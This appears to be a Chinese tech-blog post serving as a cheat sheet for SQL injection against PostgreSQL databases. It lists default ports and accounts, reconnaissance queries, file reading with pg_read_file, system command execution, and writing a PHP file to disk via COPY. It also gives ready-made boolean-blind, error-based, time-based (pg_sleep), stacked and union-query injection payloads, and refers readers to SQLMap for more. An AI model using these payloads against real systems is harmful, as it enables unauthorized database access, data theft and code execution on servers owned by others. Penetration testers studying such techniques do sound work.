PostgreSQL数据库的注入

目录

PostgreSQL

PostgreSQL常用查询命令

布尔盲注

错误注入

堆叠注入

时间盲注

联合查询


PostgreSQL

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),4.2版本为基础的对象关系型数据库管理系统。

PostgreSQL安装后,默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。注释符:--              延时函数:pg_sleep(3)

PostgreSQL和MySQL一样,也有 information_schema 数据库。

PostgreSQL安装后默认是不允许其他主机连接的,如果要让其他主机连接,找到PostgreSQL安装目录下的/data/pg_hba.conf, 找到“# IPv4 local connections:”,然后在下面添加你的IP地址

host    all             all             192.168.10.1/32         md5
 
 

PostgreSQL常用查询命令


 
 
  1. select CURRENT_SCHEMA() #查看当前权限
  2. select user #查看用户
  3. select current_user #查看当前用户
  4. select chr( 97) #将 ASCII码转为字符
  5. select chr( 97)|| chr( 100)|| chr( 109)|| chr( 105)|| chr( 110) #将 ASCII转换为字符串
  6. SELECT session_user;
  7. SELECT usename FROM pg_user;
  8. SELECT getpgusername();
  9. select version() #查看PostgreSQL数据库版本
  10. SELECT current_database() #查看当前数据库
  11. select length( 'admin') #查看长度
  12. select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
  13. 例: select case when( current_user= 'postgres') then pg_sleep( 5) else pg_sleep( 0) end;
  14. select pg_read_file(filepath+filename); #读取文件
  15. select system( "comamnd_string"); #执行系统命令
  16. COPY ( select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件

布尔盲注

1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48
 
 

 

错误注入

报错注入需要目标网站开启了报错提示。

1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)
 
 

 

堆叠注入

和MySQL的堆叠注入一样,在后面加上查询语句即可。

时间盲注

select pg_sleep(3)
 
 

联合查询


 
 
  1. order by 3 #查看显示列
  2. select null, null,函数
  3. 然后接下来就是和MySQL注入一样了,关于PostgreSQL的语句可以查看SQLMap

更多语句查看SQLMap

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值